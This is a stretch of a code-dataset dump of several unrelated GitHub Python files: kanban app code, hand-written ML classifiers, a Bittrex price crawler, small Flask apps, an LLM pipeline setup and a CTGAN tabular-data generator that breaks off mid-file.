is staticmethod]\n # print(o.__class__.__name__, attributes)\n return {k: json_repr(getattr(o, k)) for k in attributes if getattr(o, k)}\n # return {o.__class__.__name__: {k: json_repr(getattr(o, k)) for k in attributes if getattr(o, k)}}\n # for n in attributes:\n # if not n.startswith(\"__\") and not callable(n) and not type(n) is staticmethod:\n # repr_key = escape_string(n)\n # repr_value = repr(getattr(o, n))\n # items.append(f\"{repr_key} = {repr_value}\")\n # return \"{}( {} )\".format(o.__class__.__name__, \", \".join(items))\n\n\n# ----------------------------------------------------------\ndef quoted_escape_string(s):\n s = \"'{}'\".format(escape_string(s))\n return s\n\n\n# ----------------------------------------------------------\ndef escape_string(s):\n # TODO other control characters\n s = s.replace(\"'\", \"\\\\'\")\n return s\n\n\n# ----------------------------------------------------------\ndef ev_callback(method, *args):\n def cb(ev):\n return method(ev, *args)\n\n return cb\n\n\n# ----------------------------------------------------------\ndef init_demo(kanban):\n def init_model():\n from random import sample, randint, choice\n for tsk_id, tsk_obj in kanban.tasks.items():\n tags = [(fc, choice(list(tg.keys()))) for fc, tg in sample(list(_FACET.items()), randint(1, 3))\n if tsk_id.startswith(\"task\")]\n tsk_obj.tags = tags\n\n for color_id, desc in enumerate(STEPS):\n kanban.add_step(desc, color_id)\n\n kanban.add_task(\"step1\", 'Project A
Add new Feature A3', 0, 0)\n kanban.add_task(\"step1\", 'Project B
Add new Feature B2', 0, 0)\n\n task = kanban.add_task(\"step2\", 'Project B
Feature B1', 3, 50)\n kanban.add_task(task.oid, 'Check B1.1 with XXX', 4, 75)\n kanban.add_task(task.oid, 'Wait for YYY to clarify B1.2', 4, 25)\n kanban.add_task(task.oid, 'Started B1.3', 2, 25)\n\n task = kanban.add_task(\"step3\", 'A1', 3, 75)\n kanban.add_task(task.oid, 'Dynamic design', 2, 75)\n kanban.add_task(task.oid, 'Static design', 1, 100)\n\n kanban.add_task(\"step4\", 'A2 Coding', 0, 0)\n\n task = kanban.add_task(\"step5\", 'Project C', 3, 0)\n kanban.add_task(task.oid, 'Waiting QA', 4, 0)\n\n kanban.add_task(\"step6\", 'Project D', 1, 100)\n init_model()\n\n\ndef main():\n kanban = KanbanModel(counter=1, schema_revision=SCHEMA_REVISION,\n steps_colors=STEPS_COLORS, tasks_colors=TASKS_COLORS)\n\n _copyright = \"\"\"\n Copyright (c) 2013-2014, Pedro Rodriguez pedro.rodriguez.web@gmail.com\n All rights reserved.\n Redistribution and use in source and binary forms, with or without modification,\n are permitted provided that the following conditions are met:\n\n Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n Neither the name of the nor the names of its contributors\n may be used to endorse or promote products derived from this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY\n DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n \"\"\"\n ret = True # confirm(\"Click OK to accept condition of use\\n\\n\" + _copyright)\n\n if ret:\n # init_demo(kanban)\n kanban_view = KanbanView(kanban)\n # kanban_view.write(0)\n kanban_view.read()\n # kanban_view.load()\n else:\n doc.open(\"about:blank\")\n\n\n# ----------------------------------------------------------\nif __name__ == '__main__':\n main()\n","repo_name":"Aliteing/alite","sub_path":"src/kanban/kanban.py","file_name":"kanban.py","file_ext":"py","file_size_in_byte":46683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24842128628","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[11]:\n\n\nimport numpy as np\n\n\n# In[10]:\n\n\nclass LinearClassifier(object):\n '''\n Parameters\n ----------\n lr: learning rate (default = 0.02)\n epoch: epoch (default = 100)\n\n '''\n def __init__(self, lr = 0.02, epoch = 100):\n self.lr = lr\n self.epoch = epoch\n self.loss = None\n \n # weighted sum\n def Sumfun(self, x):\n return np.dot(x, self.W) + self.b #1*m m*1\n\n # activation function\n def Actfun(self, z):\n if z>=0:\n return 1\n else:\n return 0\n \n # fit\n def fit(self, X, y, X_val=None, y_val=None):\n '''\n Args:\n X: array-like of shape (n_samples, n_features)\n y: array-like of shape (n_samples, )\n \n Return: \n None\n '''\n self.loss = np.zeros(self.epoch) # 每個特徵初始化 \n self.W = np.random.rand(X.shape[1]).reshape((X.shape[1],1))\n self.b = np.random.rand(1).reshape((1,1))\n self.validation_loss = np.zeros(self.epoch) if X_val is not None else None\n\n for i in range(self.epoch):\n epoch_loss = 0\n for xi, yi in zip(X, y):\n z = self.Sumfun(xi)\n y_hat = self.Actfun(z)\n\n if yi != y_hat:\n self.W = self.W + self.lr * (yi-y_hat) * xi.reshape((X.shape[1], 1)) # 講義: W = W + lr * y *x.T \n self.b = self.b + self.lr * (yi-y_hat) # 講義: B = B + y\n epoch_loss += 1 # Increment loss for each misclassification\n \n self.loss[i] = epoch_loss/len(X)\n \n # 如果有提供 validation, 則提供 validation 的損失\n if X_val is not None and y_val is not None:\n val_predictions = self.predict(X_val)\n val_loss = np.mean(val_predictions != y_val) \n self.validation_loss[i] = val_loss\n \n \n return None\n\n \n # predict\n def predict(self, X_test):\n '''\n Args:\n X_test: array-like of shape (n_samples, n_features)\n \n Return: \n prediction: array-like of shape (n_samples, )\n '''\n prediction = []\n for i in range(X_test.shape[0]):\n z = self.Sumfun(X_test[i, :])\n y_hat = self.Actfun(z)\n prediction.append(y_hat)\n \n return np.array(prediction)\n \n def get_coefficient(self):\n return self.W.reshape((1, -1))[0].tolist()\n \n def get_loss(self):\n return self.loss \n\n\n# In[15]:\n\n\nclass KnnClassifier(object):\n '''\n Parameters\n ----------\n k: number of neighbor\n metrics= {'euclidean', 'manhattan', 'cosine'}\n \n '''\n \n def __init__(self, k = 3, metrics ='euclidean'): \n self.k = k\n self.metrics = metrics\n \n \n def fit(self, X, y):\n '''\n Args:\n X: array-like of shape (n_samples, n_features)\n y: array-like of shape (n_samples, )\n\n Return: \n None\n '''\n self.X_train = X\n self.y_train = y\n\n def distance(self, xi):\n \n # L2: 歐式距離(目的是比大小,就不再另外開根號)\n if self.metrics == 'euclidean':\n dist = np.sum((self.X_train - xi)**2, 1) \n\n # L1: 曼哈頓距離\n elif self.metrics == 'manhattan':\n dist = np.sum(abs((self.X_train - xi)), 1) \n\n # 餘弦\n elif self.metrics == 'cosine':\n similarity = np.sum(self.X_train * xi, 1) / (np.sqrt(np.sum((self.X_train*self.X_train), 1))*np.sqrt(np.sum(xi*xi)))\n # similarity = np.sum(self.X_train * xi, 1) / (np.sum((self.X_train*self.X_train), 1)*np.sum((xi*xi)))\n dist = 1 - similarity\n \n else:\n raise ValueError(\"Unsupported metric.\")\n \n return dist\n \n \n def predict(self, X_test):\n prediction = []\n for xi in X_test:\n dist = self.distance(xi)\n index_k_y = np.argsort(dist)[:self.k] # 最近k個 分別的位置 (負號算最小)\n k_y = self.y_train[index_k_y] # 最近k個 分別的組別\n y_hat = np.bincount(k_y).argmax() # 哪個組別最多次 (if 平手 自動分給數字最小的組別)\n prediction.append(y_hat)\n return prediction\n \n \n def score(self, X, y):\n # 使用predict方法得到預測結果\n predictions = self.predict(X)\n return np.mean(predictions == y)\n\n\n# In[3]:\n\n\nclass NaiveDTClassifier(object):\n '''\n Parameters\n ----------\n measure: 'information gain'(default) or 'gini'\n '''\n \n def __init__(self, measure = 'information gain'):\n self.measure = measure\n self.tree = None # \n self.feature_importances = None #\n\n def fit(self, X, y):\n '''\n Args:\n X: array-like of shape (n_samples, n_features)\n y: array-like of shape (n_samples, )\n '''\n n_features = X.shape[1]\n self.feature_importances = np.zeros(n_features) # 每個特徵初始化 feature_importances(numpy.ndarray)\n self.tree = self._build_tree(X, y)\n\n \n def predict(self, X):\n '''\n Args:\n X: array-like of shape (n_samples, n_features)\n Returns:\n prediction of all testing data: array-like of shape (n_samples, ) \n '''\n # 對所有樣本預測\n predicitons = []\n for sample in X:\n pred = self._predict_sample(self.tree, sample)\n predicitons.append(pred)\n \n return np.array(predicitons)\n\n \n def _metric(self, y):\n _, counts = np.unique(y, return_counts=True)\n small_amount = 1e-9 # 預防分母為0\n p = counts / counts.sum() + small_amount\n \n if self.measure == 'gini':\n score = 1 - np.sum(p**2)\n elif self.measure == 'information gain':\n score = -np.sum((p + small_amount) * np.log(p + small_amount))\n else:\n raise ValueError(\"Measure must be 'gini' or 'information gain'\") \n \n return score \n \n\n\n # 最佳分割點\n def _best_split(self, X, y):\n best_score = float(\"inf\")\n best_split = None\n parent_score = self._metric(y)\n\n # 所有變數跑一次\n for feature_idx in range(X.shape[1]):\n #print(\"feature_idx: \", feature_idx)\n thresholds, counts = np.unique(X[:, feature_idx], return_counts=True) # 所有特徵當作都 thresholds(不重複) 比大小\n\n # 設定條件: 如果類別 > 10種,就只取最多的10種進 thresholds_10 (>10可能是連續變數,不想全部跑)\n thresholds_10 = thresholds[np.argsort(-counts)][:min(10, len(counts))]\n # print(thresholds_10)\n \n # 不管連續還是類別 所有 unique 的值都當一次 threshold\n for threshold in thresholds_10:\n left_mask = X[:, feature_idx] <= threshold\n right_mask = ~left_mask\n y_left, y_right = y[left_mask], y[right_mask]\n\n # 若分割後是空的 跳過\n if len(y_left) == 0 or len(y_right) == 0:\n continue\n\n left_score = self._metric(y_left)\n right_score = self._metric(y_right)\n weighted_score = (len(y_left) * left_score + len(y_right) * right_score) / X.shape[0]\n \n score_decrease = parent_score - weighted_score # information gain/gini相較原本減少了多少\n # 希望分割後的兩個子節點的 weighted_score比 parent_score 還小\n # score_decrease 越大越好\n\n if weighted_score < best_score :\n best_score = weighted_score\n best_split = (feature_idx, threshold, score_decrease) # 每進行一次遞迴就算一個 best_split\n\n # print(best_split)\n return best_split\n\n # 建樹\n def _build_tree(self, X, y):\n \n # 遞迴終止條件1: 所有 y 的標籤都一樣\n if len(set(y)) == 1:\n return {'label': y[0]}\n\n # 遞迴終止條件2: 沒有更多的變數用來分割數據\n split = self._best_split(X, y)\n if split is None:\n return {'label': np.bincount(y).argmax()}\n\n feature, threshold, score_decrease = split\n self.feature_importances[feature] += score_decrease # 同樣的feature有可能會成為兩次以上的節點 都掉算進 importance\n # print(self.feature_importances)\n \n left_mask = X[:, feature] <= threshold\n right_mask = ~left_mask\n \n # print('進行了一次遞迴')\n left_branch = self._build_tree(X[left_mask], y[left_mask])\n right_branch = self._build_tree(X[right_mask], y[right_mask])\n \n return {\n 'feature': feature,\n 'threshold': threshold,\n 'left': left_branch,\n 'right': right_branch}\n \n \n def _predict_sample(self, tree, sample):\n \n # 遞迴終止條件: 當進展到 leaf (有class出現時) \n if 'label' in tree:\n return tree['label']\n \n feature, threshold = tree['feature'], tree['threshold']\n \n # 遞迴建左右樹\n if sample[feature] <= threshold:\n return self._predict_sample(tree['left'], sample)\n else:\n return self._predict_sample(tree['right'], sample)\n \n \n def get_feature_importances(self):\n \n total_decrease = np.sum(self.feature_importances)\n return self.feature_importances / total_decrease \n\n\n# In[ ]:\n\n\nclass PrunedDTClassifier(NaiveDTClassifier):\n '''\n Parameters\n ----------\n measure: 'information gain'(default) or 'gini'\n max_depth: The maximum depth of the tree (int), default = float('inf')\n min_samples_split: The minimum number of samples required to split an internal node (int), default=2\n \n '''\n \n def __init__(self, measure='information gain', max_depth=float('inf'), min_samples_split=2):\n super().__init__(measure)\n self.max_depth = max_depth\n self.min_samples_split = min_samples_split\n\n \n def _build_tree(self, X, y, depth=0):\n \n # 遞迴終止條件1: Pruning 達到最大深度 (max_depth)\n if self.max_depth is not None and depth >= self.max_depth:\n return {'label': np.bincount(y).argmax()}\n\n # 遞迴終止條件2: Pruning 節點必須擁有的最小樣本數 (min_samples_split)\n if len(y) < self.min_samples_split:\n return {'label': np.bincount(y).argmax()}\n\n # 遞迴終止條件3: 所有 y 的標籤都一樣\n if len(set(y)) == 1:\n return {'label': y[0]}\n \n # 遞迴終止條件4: 沒有更多的變數用來分割數據\n split = self._best_split(X, y)\n if split is None:\n return {'label': np.bincount(y).argmax()}\n\n feature, threshold, score_decrease = split\n self.feature_importances[feature] += score_decrease\n\n # 畫分數據\n left_mask = X[:, feature] <= threshold\n right_mask = ~left_mask\n\n # 遞迴\n left_branch = self._build_tree(X[left_mask], y[left_mask], depth + 1)\n right_branch = self._build_tree(X[right_mask], y[right_mask], depth + 1)\n\n return {\n 'feature': feature,\n 'threshold': threshold,\n 'left': left_branch,\n 'right': right_branch\n }\n\n","repo_name":"edogawa-liang/ML-2023fall","sub_path":"hw1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"10438787148","text":"import requests\nimport json\nimport time\n\ndef craw(url):\n flag = True\n while flag:\n try:\n result = json.loads(requests.get(url,timeout = 3).text)\n flag = False\n return result\n except:\n flag = True\n time.sleep(1)\n\n\ndef analyze(child_conn2):\n history_id = []\n history_oder = []\n url = 'https://api.bittrex.com/api/v1.1/public/getmarkethistory?market=usdt-btc'\n volume = 0.00\n result = craw(url)['result']\n volume += result[0]['Quantity']\n history_id.append(result[0]['Id'])\n history_oder.append(result[0])\n time.sleep(1)\n flag = True\n while flag:\n result = craw(url)['result']\n for i in result:\n if i['Id'] not in history_id:\n volume += i['Quantity']\n history_id.append(i['Id'])\n history_oder.append(i)\n child_conn2.send(i)\n time.sleep(1)\n","repo_name":"xiaoyao153379/BakTst_Trd","sub_path":"craw/craw.py","file_name":"craw.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"23988782703","text":"from app import app\nfrom flask import render_template, flash, redirect\nfrom .forms import LoginForm\n@app.route('/')\n@app.route('/index')\ndef index():\n user = {'nickname' : 'Fabiano'}\n posts = [\n {\n 'Autor': {'nickname': 'Cesar'},\n 'body': 'Um lindo dia no porto'\n },\n {\n 'Autor': {'nickname': 'Bruno'},\n 'body': 'Como matar seu professor, step by step'\n }\n ]\n return render_template(('index.html'),\n title='Home',\n user=user,\n posts=posts)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n if form.validate_on_submit():\n flash('Login requested for OpenID=\"%s\", remember_me=%s' %\n (form.openid.data, str(form.remember_me.data)))\n return redirect('/index')\n return render_template('login.html', \n title='Sign In',\n form=form,\n providers=app.config['OPENID_PROVIDERS'])\n@app.route('/contato')\ndef contato():\n return render_template('contato.html')","repo_name":"fabiano-amaral/blog-flask","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27539111867","text":"import sys, time\n\nprint ('And now for something completely different ...')\ntime.sleep(0.5)\n\nmsg = 'I am going to erase this line from the console window.'\nsys.stdout.write(msg); sys.stdout.flush()\ntime.sleep(1)\n\nsys.stdout.write('\\r' + ' '*len(msg))\nsys.stdout.flush()\ntime.sleep(0.5)\n\nprint('\\rdid I succeed?')\ntime.sleep(1)","repo_name":"tjflaagan/Random-Scripts","sub_path":"terminaleraser.py","file_name":"terminaleraser.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"10722827038","text":"import os\nfrom db_init import initialize\n\nfrom flask import Flask, redirect, url_for, render_template, request, Blueprint\n\nfrom psycopg2 import extensions\nfrom queries import *\n\nfrom views.actor import actor\nfrom views.movie import movie\n\nextensions.register_type(extensions.UNICODE)\nextensions.register_type(extensions.UNICODEARRAY)\n\napp = Flask(__name__)\n\napp.register_blueprint(actor,url_prefix=\"/actors\")\napp.register_blueprint(movie,url_prefix=\"/movies\")\n\nHEROKU = True\n\nif(not HEROKU): \n os.environ['DATABASE_URL'] = \"dbname='postgres' user='postgres' host='localhost' password='1234'\"\n initialize(os.environ.get('DATABASE_URL'))\n\n@app.route(\"/\")\ndef home_page():\n return render_template(\"home_page.html\")\n\nif __name__ == \"__main__\":\n if(not HEROKU):\n app.run(debug = True)\n else:\n app.run()","repo_name":"yyilmaz64/flaskflaskornek","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"75005255388","text":"import torch\nfrom torch import cuda, bfloat16\n\nimport transformers\nfrom transformers import StoppingCriteria, StoppingCriteriaList\n\nclass MosaicmlSetUp:\n\n def __init__(self, device, model_type, task_type):\n self.device = device\n self.model_type = model_type\n self.task_type = task_type\n\n def model_setup(self, device, model_type):\n model = transformers.AutoModelForCausalLM.from_pretrained(\n self.model_type,\n trust_remote_code=True,\n load_in_8bit=True,\n max_seq_len=1024,\n init_device=device\n )\n model.eval()\n print(f\"Model loaded on {self.device}...\")\n return model\n\n def stopping_criteria(self):\n\n tokenizer = transformers.AutoTokenizer.from_pretrained(\"mosaicml/mpt-30b\")\n\n stop_token_ids = [\n tokenizer.convert_tokens_to_ids(x) for x in [\n [\"Human\", \":\"], [\"AI\", \":\"]\n ]\n ]\n\n stop_token_ids = [torch.LongTensor(x).to(self.device) for x in stop_token_ids]\n\n class StopOnTokens(StoppingCriteria):\n def __call__(self, input_ids: torch.LongTensor, scores: torch.FloatTensor, **kwargs) -> bool:\n for stop_ids in stop_token_ids:\n if torch.eq(input_ids[0][-len(stop_ids):], stop_ids).all():\n return True\n return False\n \n stopping_criteria = StoppingCriteriaList([StopOnTokens()])\n return stopping_criteria \n\n def generate_text(self, model, task_type, stopping_criteria):\n generate_text = transformers.pipeline(\n model=model,\n return_full_text=True,\n task=self.task_type,\n stopping_criteria=stopping_criteria,\n temperature=0,\n top_p=0.15,\n top_k=0,\n max_new_tokens=500,\n repetition_penality=1.1\n )\n return generate_text\n","repo_name":"simonholmes001/GPT-Drive","sub_path":"backend/set_up/mosaicml_setup.py","file_name":"mosaicml_setup.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9360021924","text":"import logging\nimport sys\n\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom packaging import version\nfrom torch import optim\nfrom torch.nn import (\n BatchNorm1d,\n Dropout,\n LeakyReLU,\n Linear,\n Module,\n ReLU,\n Sequential,\n functional,\n)\n\nfrom src.generator.tabular.base_generator import BaseGenerator\nfrom src.preprocessing.data_transformer import CTGANDataTransformer\n\n\nclass CTGANGenerator(BaseGenerator):\n \"\"\"Efficient Table GAN Generator.\n\n Parameters\n ----------\n embedding_dim (int):\n Size of the random sample passed to the Generator. Defaults to 128.\n generator_dim (tuple or list of ints):\n Size of the output samples for each one of the Residuals. A Residual Layer\n will be created for each one of the values provided. Defaults to (256, 256).\n discriminator_dim (tuple or list of ints):\n Size of the output samples for each one of the Discriminator Layers. A Linear Layer\n will be created for each one of the values provided. Defaults to (256, 256).\n generator_lr (float):\n Learning rate for the generator. Defaults to 2e-4.\n generator_decay (float):\n Generator weight decay for the Adam Optimizer. Defaults to 1e-6.\n discriminator_lr (float):\n Learning rate for the discriminator. Defaults to 2e-4.\n discriminator_decay (float):\n Discriminator weight decay for the Adam Optimizer. Defaults to 1e-6.\n batch_size (int):\n Number of data samples to process in each step.\n discriminator_steps (int):\n Number of discriminator updates to do for each generator update.\n From the WGAN paper: https://arxiv.org/abs/1701.07875. WGAN paper\n default is 5. Default used is 1 to match original CTGAN implementation.\n log_frequency (boolean):\n Whether to use log frequency of categorical levels in conditional\n sampling. Defaults to ``True``.\n verbose (boolean):\n Whether to have print statements for progress results. Defaults to ``False``.\n epochs (int):\n Number of training epochs. Defaults to 300.\n pac (int):\n Number of samples to group together when applying the discriminator.\n Defaults to 10.\n cuda (bool):\n Whether to attempt to use cuda for GPU computation.\n If this is False or CUDA is not available, CPU will be used.\n Defaults to ``True``.\n \"\"\"\n\n def __init__(\n self,\n embedding_dim=128,\n generator_dim=(256, 256),\n discriminator_dim=(256, 256),\n generator_lr=2e-4,\n generator_decay=1e-6,\n discriminator_lr=2e-4,\n discriminator_decay=1e-6,\n batch_size=500,\n discriminator_steps=1,\n log_frequency=True,\n verbose=False,\n epochs=300,\n pac=10,\n cuda=True,\n ):\n\n assert batch_size % 2 == 0\n\n logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n logger = logging.getLogger(__name__)\n self.log = logger\n self._embedding_dim = embedding_dim\n self._generator_dim = generator_dim\n self._discriminator_dim = discriminator_dim\n\n self._generator_lr = generator_lr\n self._generator_decay = generator_decay\n self._discriminator_lr = discriminator_lr\n self._discriminator_decay = discriminator_decay\n\n self._batch_size = batch_size\n self._discriminator_steps = discriminator_steps\n self._log_frequency = log_frequency\n self._verbose = verbose\n self._epochs = epochs\n self.pac = pac\n\n if not cuda or not torch.cuda.is_available():\n device = \"cpu\"\n elif isinstance(cuda, str):\n device = cuda\n else:\n device = \"cuda\"\n\n self._device = torch.device(device)\n\n self._transformer = None\n self._data_sampler = None\n self._generator = None\n\n @staticmethod\n def _gumbel_softmax(logits, tau=1, hard=False, eps=1e-10, dim=-1):\n \"\"\"Deals with the instability of the gumbel_softmax for older versions of torch.\n\n For more details about the issue:\n https://drive.google.com/file/d/1AA5wPfZ1kquaRtVruCd6BiYZGcDeNxyP/view?usp=sharing\n\n Parameters\n ----------\n logits:\n […, num_features] unnormalized log probabilities\n tau:\n non-negative scalar temperature\n hard:\n if True, the returned samples will be discretized as one-hot vectors,\n but will be differentiated as if it is the soft sample in autograd\n dim (int):\n a dimension along which softmax will be computed. Default: -1.\n\n Returns\n -------\n Sampled tensor of same shape as logits from the Gumbel-Softmax distribution.\n \"\"\"\n if version.parse(torch.__version__) < version.parse(\"1.2.0\"):\n for i in range(10):\n transformed = functional.gumbel_softmax(\n logits, tau=tau, hard=hard, eps=eps, dim=dim\n )\n if not torch.isnan(transformed).any():\n return transformed\n raise ValueError(\"gumbel_softmax returning NaN.\")\n\n return functional.gumbel_softmax(logits, tau=tau, hard=hard, eps=eps, dim=dim)\n\n def _apply_activate(self, data):\n \"\"\"Apply proper activation function to the output of the generator.\"\"\"\n data_t = []\n st = 0\n for column_info in self._transformer.output_info_list:\n for span_info in column_info:\n if span_info.activation_fn == \"tanh\":\n ed = st + span_info.dim\n data_t.append(torch.tanh(data[:, st:ed]))\n st = ed\n elif span_info.activation_fn == \"softmax\":\n ed = st + span_info.dim\n transformed = self._gumbel_softmax(data[:, st:ed], tau=0.2)\n data_t.append(transformed)\n st = ed\n else:\n assert 0\n\n return torch.cat(data_t, dim=1)\n\n def _cond_loss(self, data, c, m):\n \"\"\"Compute the cross entropy loss\n on the fixed discrete column.\"\"\"\n loss = []\n st = 0\n st_c = 0\n for column_info in self._transformer.output_info_list:\n for span_info in column_info:\n if len(column_info) != 1 or span_info.activation_fn != \"softmax\":\n # not discrete column\n st += span_info.dim\n else:\n ed = st + span_info.dim\n ed_c = st_c + span_info.dim\n tmp = functional.cross_entropy(\n data[:, st:ed],\n torch.argmax(c[:, st_c:ed_c], dim=1),\n reduction=\"none\",\n )\n loss.append(tmp)\n st = ed\n st_c = ed_c\n\n loss = torch.stack(loss, dim=1)\n return (loss * m).sum() / data.size()[0]\n\n def _validate_categorical_columns(self, train_data, categorical_columns):\n \"\"\"Check whether ``categorical_columns`` exists in ``train_data``.\n\n Parameters\n ----------\n train_data (numpy.ndarray or pandas.DataFrame):\n Training Data. It must be a 2-dimensional numpy array\n or a pandas.DataFrame.\n categorical_columns (list-like):\n List of discrete columns to be used to generate the Conditional\n Vector. If ``train_data`` is a Numpy array, this list should\n contain the integer indices of the columns. Otherwise, if it is\n a ``pandas.DataFrame``, this list should contain the\n column names.\n \"\"\"\n\n if isinstance(train_data, pd.DataFrame):\n invalid_columns = set(categorical_columns) - set(train_data.columns)\n elif isinstance(train_data, np.ndarray):\n invalid_columns = []\n for column in categorical_columns:\n if column < 0 or column >= train_data.shape[1]:\n invalid_columns.append(column)\n else:\n raise TypeError(\n \"``train_data`` \\\n should be either pd.DataFrame or np.array.\"\n )\n\n if invalid_columns:\n raise ValueError(\n \"Invalid columns found: \\\n {}\".format(\n invalid_columns\n )\n )\n\n def fit(\n self, train_data, categorical_columns=tuple(), categorical_embedding_sizes=[]\n ):\n \"\"\"Fit the CTGAN Generator models to the training data.\n\n Parameters\n ----------\n train_data (numpy.ndarray or pandas.DataFrame):\n Training Data. It must be a 2-dimensional numpy array\n or a pandas.DataFrame.\n categorical_columns (list-like):\n List of discrete columns to be used to generate the Conditional\n Vector. If ``train_data`` is a Numpy array, this list should\n contain the integer indices of the columns. Otherwise, if it is\n a ``pandas.DataFrame``, this list should contain the\n column names.\n categorical_embedding_sizes (list):\n List of embedding sizes corresponding to each column. The\n ordering must be the same as in `categorical_columns`\n \"\"\"\n self._validate_categorical_columns(train_data, categorical_columns)\n\n self._transformer = CTGANDataTransformer()\n self._transformer.fit(train_data, categorical_columns)\n train_data = self._transformer.transform(train_data)\n cat_idxs, cat_dims = self._transformer.get_cat_idxs_sizes()\n\n self.embedding = EmbeddingGenerator(\n train_data.shape[-1], cat_dims, cat_idxs\n ).to(self._device)\n\n self._data_sampler = CTGANDataSampler(\n train_data, self._transformer.output_info_list, self._log_frequency\n )\n\n data_dim = self._transformer.output_dimensions\n # input_dim = self.embedding.post_embed_dim\n\n self._generator = Generator(\n self._embedding_dim + self.embedding.projection_dim,\n self._generator_dim,\n data_dim,\n ).to(self._device)\n\n discriminator = Discriminator(\n data_dim + self.embedding.projection_dim,\n self._discriminator_dim,\n pac=self.pac,\n ).to(self._device)\n\n optimizerG = optim.Adam(\n self._generator.parameters(),\n lr=self._generator_lr,\n betas=(0.5, 0.9),\n weight_decay=self._generator_decay,\n )\n\n optimizerD = optim.Adam(\n discriminator.parameters(),\n lr=self._discriminator_lr,\n betas=(0.5, 0.9),\n weight_decay=self._discriminator_decay,\n )\n\n mean = torch.zeros(self._batch_size, self._embedding_dim, device=self._device)\n std = mean + 1\n\n steps_per_epoch = max(len(train_data) // self._batch_size, 1)\n for i in range(self._epochs):\n for id_ in range(steps_per_epoch):\n for n in range(self._discriminator_steps):\n fakez = torch.normal(mean=mean, std=std)\n condvec = self._data_sampler.sample_condvec(self._batch_size)\n if condvec is None:\n cat_id, m1, col_id = None, None, None\n real = self._data_sampler.sample_data(\n self._batch_size, col_id, cat_id\n )\n else:\n cat_id, m1, col_id = condvec\n cat_id = torch.from_numpy(cat_id).to(self._device)\n # col_id = torch.from_numpy(col_id).to(self._device)\n m1 = torch.from_numpy(m1).to(self._device)\n c1 = self.embedding(x_id=(cat_id, col_id))\n fakez = torch.cat([fakez, c1], dim=1)\n\n perm = np.arange(self._batch_size)\n np.random.shuffle(perm)\n real = self._data_sampler.sample_data(\n self._batch_size, col_id[perm], cat_id[perm]\n )\n\n real = torch.from_numpy(real.astype(\"float32\")).to(self._device)\n c2 = c1[perm]\n\n fake = self._generator(fakez)\n fakeact = self._apply_activate(fake)\n\n if c1 is not None:\n fake_cat = torch.cat([fakeact, c1], dim=1)\n real_cat = torch.cat([real, c2], dim=1)\n else:\n real_cat = real\n fake_cat = fakeact\n y_fake = discriminator(fake_cat)\n y_real = discriminator(real_cat)\n\n pen = discriminator.calc_gradient_penalty(\n real_cat, fake_cat, self._device, self.pac\n )\n loss_d = -(torch.mean(y_real) - torch.mean(y_fake))\n\n optimizerD.zero_grad()\n pen.backward(retain_graph=True)\n loss_d.backward()\n optimizerD.step()\n\n fakez = torch.normal(mean=mean, std=std)\n condvec = self._data_sampler.sample_condvec(self._batch_size)\n\n if condvec is None:\n cat_id, m1, col_id = None, None, None\n else:\n cat_id, m1, col_id = condvec\n c1_one_hot = self._data_sampler.get_condvec(col_id, cat_id).to(\n self._device\n )\n cat_id = torch.from_numpy(cat_id).to(self._device)\n # col_id = torch.from_numpy(col_id).to(self._device)\n m1 = torch.from_numpy(m1).to(self._device)\n c1 = self.embedding(x_id=(cat_id, col_id))\n fakez = torch.cat([fakez, c1], dim=1)\n\n fake = self._generator(fakez)\n fakeact = self._apply_activate(fake)\n\n if c1 is not None:\n y_fake = discriminator(torch.cat([fakeact, c1], dim=1))\n else:\n y_fake = discriminator(fakeact)\n\n if condvec is None:\n cross_entropy = 0\n else:\n cross_entropy = self._cond_loss(fake, c1_one_hot, m1)\n loss_g = -torch.mean(y_fake) + cross_entropy\n\n optimizerG.zero_grad()\n loss_g.backward()\n optimizerG.step()\n\n if self._verbose:\n self.log.info(\n f\"Epoch {i+1}, Loss G: {loss_g.detach().cpu(): .4f}, \"\n f\"Loss D: {loss_d.detach().cpu(): .4f}\"\n )\n\n def sample(self, n, condition_column=None, condition_value=None):\n \"\"\"Sample data similar to the training data.\n\n Choosing a condition_column and 